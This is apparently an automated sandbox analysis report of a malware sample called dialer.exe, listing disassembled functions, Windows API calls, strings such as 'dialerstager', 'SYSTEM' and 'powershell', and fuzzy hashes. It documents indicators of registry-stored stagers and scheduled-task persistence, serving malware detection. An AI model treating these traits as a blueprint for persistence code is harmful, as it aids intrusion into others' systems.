CoCreateInstance.COMBASE ref: 0000000140001279
VariantInit.OLEAUT32 ref: 000000014000128B
VariantInit.OLEAUT32 ref: 000000014000148D
VariantInit.OLEAUT32 ref: 0000000140001497
VariantInit.OLEAUT32 ref: 00000001400014AE
CoUninitialize.COMBASE ref: 00000001400015BA
SysFreeString.OLEAUT32 ref: 00000001400015C3
SysFreeString.OLEAUT32 ref: 00000001400015CC
SysFreeString.OLEAUT32 ref: 00000001400015D5
SysFreeString.OLEAUT32 ref: 00000001400015DE
SysFreeString.OLEAUT32 ref: 00000001400015E7
SysFreeString.OLEAUT32 ref: 00000001400015F0

Strings

dialersvc64, xrefs: 000000014000118D
SYSTEM, xrefs: 00000001400011E9
powershell, xrefs: 00000001400011BD

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFree$InitVariant$Initialize$CreateInstanceSecurityUninitialize
String ID: SYSTEM$dialersvc64$powershell
API String ID: 3960698109-174983134
Opcode ID: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction ID: aee36af91c86c83140a7f8fc7c4422115872d8a4c3e6ef38ff6a7da2a4766896
Opcode Fuzzy Hash: a180f732da29d2ef05bbba4c41d26df64929768de65ad4ca02d5ced4f3cbd646
Instruction Fuzzy Hash: 2DD1DE76604B8586EB11CF6AE8843DE67B1FB88B99F508116EF4E47B68DF39C149C700

Function 0000000140001614 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 121
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 000000014000162A
SysAllocString.OLEAUT32 ref: 000000014000163A
CoInitializeEx.OLE32 ref: 0000000140001647
CoInitializeSecurity.COMBASE ref: 000000014000167E
CoCreateInstance.COMBASE ref: 00000001400016BE
VariantInit.OLEAUT32 ref: 00000001400016D0
VariantInit.OLEAUT32 ref: 0000000140001760
CoUninitialize.COMBASE ref: 00000001400017BF
SysFreeString.OLEAUT32 ref: 00000001400017C8
SysFreeString.OLEAUT32 ref: 00000001400017D1

Strings

dialersvc64, xrefs: 000000014000161B

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitInitializeVariant$CreateInstanceSecurityUninitialize
String ID: dialersvc64
API String ID: 2407135876-3881820561
Opcode ID: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction ID: d87eb2bd9d729e9729409dc9478b0812213582aedf91d7913a1da9f61deadf9a
Opcode Fuzzy Hash: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction Fuzzy Hash: B6510576704A458AEB11CF7AE8843DD63B1FB88B98F444226EF4E47A29DF38C149C340

Function 0000000140001984 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

Part of subcall function 0000000140001A7C: GetProcessHeap.KERNEL32 ref: 0000000140001A85
Part of subcall function 0000000140001A7C: HeapAlloc.KERNEL32 ref: 0000000140001A96
Part of subcall function 0000000140001A7C: StrCpyW.SHLWAPI ref: 0000000140001AA9
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001ADF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AEF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AFF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B0F
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B1F

Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001802
Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001812
Part of subcall function 00000001400017EC: CoInitializeEx.COMBASE ref: 000000014000181F
Part of subcall function 00000001400017EC: CoInitializeSecurity.COMBASE ref: 0000000140001856
Part of subcall function 00000001400017EC: CoCreateInstance.COMBASE ref: 0000000140001896
Part of subcall function 00000001400017EC: VariantInit.OLEAUT32 ref: 00000001400018A8
Part of subcall function 00000001400017EC: CoUninitialize.COMBASE ref: 0000000140001942
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 000000014000194B
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 0000000140001954

Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011A7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011B7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011C7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011D3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011E3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011F3
Part of subcall function 000000014000117C: CoInitializeEx.OLE32 ref: 0000000140001200
Part of subcall function 000000014000117C: CoInitializeSecurity.COMBASE ref: 0000000140001237
Part of subcall function 000000014000117C: CoCreateInstance.COMBASE ref: 0000000140001279
Part of subcall function 000000014000117C: VariantInit.OLEAUT32 ref: 000000014000128B

Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000162A
Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000163A
Part of subcall function 0000000140001614: CoInitializeEx.OLE32 ref: 0000000140001647
Part of subcall function 0000000140001614: CoInitializeSecurity.COMBASE ref: 000000014000167E
Part of subcall function 0000000140001614: CoCreateInstance.COMBASE ref: 00000001400016BE
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 00000001400016D0
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 0000000140001760

Strings

dialersvc64, xrefs: 0000000140001A48
EXE, xrefs: 000000014000198E
dialerstager, xrefs: 0000000140001A1B
dialersvc32, xrefs: 0000000140001A39
SOFTWARE, xrefs: 00000001400019E6

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$Alloc$Initialize$InitResourceVariant$CreateInstanceSecurity$FreeHeap$FindLoadLockOpenProcessSizeofUninitializeValue
String ID: EXE$SOFTWARE$dialerstager$dialersvc32$dialersvc64
API String ID: 2204944113-1859800454
Opcode ID: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction ID: 1bfe2c02107bc6537b2911a47a34f854c4b6e53c22e939ebebcbb702dcfd335c
Opcode Fuzzy Hash: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction Fuzzy Hash: D5213BBA30570152EA26DF63B8143E963A1AB8DBD0F484125FB49477BAEF3CC604C600

Function 00000001400017EC Relevance: 13.6, APIs: 9, Instructions: 100
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0000000140001802
SysAllocString.OLEAUT32 ref: 0000000140001812
CoInitializeEx.COMBASE ref: 000000014000181F
CoInitializeSecurity.COMBASE ref: 0000000140001856
CoCreateInstance.COMBASE ref: 0000000140001896
VariantInit.OLEAUT32 ref: 00000001400018A8
CoUninitialize.COMBASE ref: 0000000140001942
SysFreeString.OLEAUT32 ref: 000000014000194B
SysFreeString.OLEAUT32 ref: 0000000140001954

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction ID: 67cbc857c72eec62a5b69ac69888ab56890e3342390bd1f27bc6256027a28dd6
Opcode Fuzzy Hash: 28fc60779f0ad9d62090849b4b365cf4f04873247535d29ba999af650a69468a
Instruction Fuzzy Hash: 5E413972704A458AEB11CF7AE8543DD73B1FB89B99F449226AF4A47A69DF38C149C300

Function 0000000140001C0C Relevance: 3.8, APIs: 3, Instructions: 40
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 0000000140001C31
StrStrIW.SHLWAPI ref: 0000000140001C4F
StrStrIW.SHLWAPI ref: 0000000140001C71

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction ID: 09bf7b72404f13f14ced639d6c0c6f67ee10a0461fa6ddbcf4aeef183f1f47ff
Opcode Fuzzy Hash: b9962e4e84025f74c7544eb618daec881cae5e6da44291651d3163d6fd35675d
Instruction Fuzzy Hash: 9B0116B6344B8185EA66CF13A804BA963AAF78CFC0F598131AE4D83765DF38D946C740

Function 0000000140001970 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001984: FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
Part of subcall function 0000000140001984: SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
Part of subcall function 0000000140001984: LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
Part of subcall function 0000000140001984: LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
Part of subcall function 0000000140001984: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
Part of subcall function 0000000140001984: RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

ExitProcess.KERNEL32 ref: 000000014000197B

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Resource$ExitFindLoadLockOpenProcessSizeofValue
String ID:
API String ID: 3836967525-0
Opcode ID: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction ID: 591ae2b672e41714171671f8838f177bfce947d6885aae7fa81f753db4d17b5a
Opcode Fuzzy Hash: ee2a5ee51357348344ca81a4be59069b68ca976694f2d9a0ce0cc3fee0d6cd3e
Instruction Fuzzy Hash: 71A011B0A00A8082EA0ABBB2282A3E802200B88380F000000A202032A2CC38008A8A00

Non-executed Functions

Function 000000014000114C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001157
GetProcAddress.KERNEL32 ref: 000000014000116E

Strings

ntdll.dll, xrefs: 0000000140001150
RtlGetVersion, xrefs: 0000000140001167

Memory Dump Source

Source File: 0000003E.00000002.1758687521.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.1758660989.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.1758719064.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction ID: 59613ef8418529ec4bc26aae3d36b02baf67a4f8cd1ada14fad478f70e9913c3
Opcode Fuzzy Hash: cbe8274689d4b13bee11112ce4758f47015ade9fc57dadff247276a17ec4a5cd
Instruction Fuzzy Hash: 8CD0E9F5622A01E1EA0BEB57FC553D512617B5C781F804521E70A43671EF3C8659C700

Analysis Process: dialer.exePID: 8136, Parent PID: 4280COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	897
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKey.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6be8016fb36f82c3da64a84c1529aa11406b64e43b79967214b429f8e454d36b
Instruction ID: a491f1afa2254d8e491352d0748b00eed3e2628b9b22ab978c5d7e1ef0c2ef5b
Opcode Fuzzy Hash: 6be8016fb36f82c3da64a84c1529aa11406b64e43b79967214b429f8e454d36b
Instruction Fuzzy Hash: B9F09DB2608B408AEA12DF62F85179A77A1F39C7C0F009919BBC853735DB38C190CB40

Non-executed Functions

Function 00000001400027D0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0000000140002810
wcsncmp.MSVCRT ref: 00000001400029E4
memset.MSVCRT ref: 0000000140002AAC
wcscpy.MSVCRT ref: 0000000140002B15
wcscat.MSVCRT ref: 0000000140002B20
wcslen.MSVCRT ref: 0000000140002B28
wcslen.MSVCRT ref: 0000000140002B40
wcslen.MSVCRT ref: 0000000140002BA0
wcslen.MSVCRT ref: 0000000140002BF2

Strings

\BaseNamedObjects\gohkfyvqbpmecnid, xrefs: 00000001400027D8
0, xrefs: 00000001400029E9
`, xrefs: 0000000140002D9B
X, xrefs: 0000000140002D83

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\gohkfyvqbpmecnid$`
API String ID: 780471329-2131913626
Opcode ID: 1797c675c7d499b762c492f57bc66f0dd952a150cabb47eb5dc0e9800f8e4f22
Instruction ID: 956054282284ba03289f89f3cc30737ba7bc10dd6e0d7d1cce8e88f75dff8f4e
Opcode Fuzzy Hash: 1797c675c7d499b762c492f57bc66f0dd952a150cabb47eb5dc0e9800f8e4f22
Instruction Fuzzy Hash: 76126AB2618BC081E762CB26F8443EAB7A4F789794F414215EBA957BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 7fd7b0665d0d478afd4b778b9ad3b37bf3618c53fbd75c2eb7eefae68cdd4a41
Instruction ID: 2cf36224565f858ee5398084e6954f654d065b2d5c5980acf610c9099daef405
Opcode Fuzzy Hash: 7fd7b0665d0d478afd4b778b9ad3b37bf3618c53fbd75c2eb7eefae68cdd4a41
Instruction Fuzzy Hash: 3F5121F1601A4085FB16EF27F9943EA27A1BB8CBD0F449121FB4E873B2DE3884958700

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007DF8,0000000140007DF8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007DF8,0000000140007DF8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007DF8,0000000140007DF8,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

Address %p has no image-section, xrefs: 0000000140001CF4
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: b6585465a2f05c01175db11acf9f7dc49478311fb90e361966a65ca9776a65ce
Instruction ID: cdb230e1ef6f7a2394f5e18ac8b6d032a855755febd0cb1b64a996fcc1728738
Opcode Fuzzy Hash: b6585465a2f05c01175db11acf9f7dc49478311fb90e361966a65ca9776a65ce
Instruction Fuzzy Hash: 494132B1201A4486FA66DF97F884BE927A0F78DBC4F554526EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: af4863ad55e9be3948dd3f8b92581dcfb2da1e9ba0e5ff862a0098994ca326ab
Instruction ID: fe4873fd32a2debdddda51fa9ba6133c569768c8fc11484b8c125a382026d3df
Opcode Fuzzy Hash: af4863ad55e9be3948dd3f8b92581dcfb2da1e9ba0e5ff862a0098994ca326ab
Instruction Fuzzy Hash: B321E3B0705A0192FA6BDB53F9483E823A4BB6CBD0F444121FF5A576B4DB798986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 5ae0183bb3e8df43bf7b800ab47aff4b5323fb398a3dc02e0685aa06d0cc4238
Instruction ID: 32d80918a5fc0d3f209f19ed34055b18f0ef7c89e2b1fcaed64eceb18b648f5f
Opcode Fuzzy Hash: 5ae0183bb3e8df43bf7b800ab47aff4b5323fb398a3dc02e0685aa06d0cc4238
Instruction Fuzzy Hash: D22139B1A0161542FA77DA2BB5903FA2192ABCC7E4F258535BF19873F5DF3888C28241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B
Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 33ff9c26ba1a50189676bcdea232609c43de2a965b763305e03269797e3983e4
Instruction ID: d95b69f808bbd9c9542974b089c040f35f1bf1f56e437b3fcff01fca96367475
Opcode Fuzzy Hash: 33ff9c26ba1a50189676bcdea232609c43de2a965b763305e03269797e3983e4
Instruction Fuzzy Hash: BB5105B6B11544DAEB12CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936432899.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936512648.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.2936630716.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 7ca9402c377c7502ec41e05436912aeebb55393020027df2fd4a95d8ace9b475
Instruction ID: c63db515c4fb09d3b511a87353661d5ddb22af0fe9f44d3f7c4a04084b72718c
Opcode Fuzzy Hash: 7ca9402c377c7502ec41e05436912aeebb55393020027df2fd4a95d8ace9b475
Instruction Fuzzy Hash: 40F0F671A04A4482E212EF2AB9413ED6360E74D3C0F40D211FF4DA32A1DF3CD182C300

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000040.00000002.2936348681.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.2936284891.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
